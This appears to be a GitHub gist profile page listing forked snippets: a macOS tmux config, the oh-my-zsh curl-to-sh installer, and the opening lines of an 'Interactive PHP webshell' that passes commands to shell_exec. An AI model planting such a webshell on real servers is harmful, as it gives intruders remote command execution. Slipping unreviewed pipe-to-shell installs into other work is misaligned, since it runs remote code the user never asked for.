Skip to content

Instantly share code, notes, and snippets.

View mlcloudsec's full-sized avatar
🛡️

ML mlcloudsec

🛡️
  • Phoenix, AZ
View GitHub Profile
@mlcloudsec
mlcloudsec / tmux.md
Last active February 5, 2024 06:11 — forked from andreyvit/tmux.md
tmux config

macOS

# remap prefix to Control + a
set -g prefix C-a
# bind 'C-a C-a' to type 'C-a'
bind C-a send-prefix
unbind C-b

set -g mouse on
@mlcloudsec
mlcloudsec / shell.php
Created March 10, 2023 05:11 — forked from mrpapercut/shell.php
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
https://github.com/zsh-users/zsh-syntax-highlighting/blob/master/INSTALL.md
https://github.com/zsh-users/zsh-autosuggestions/blob/master/INSTALL.md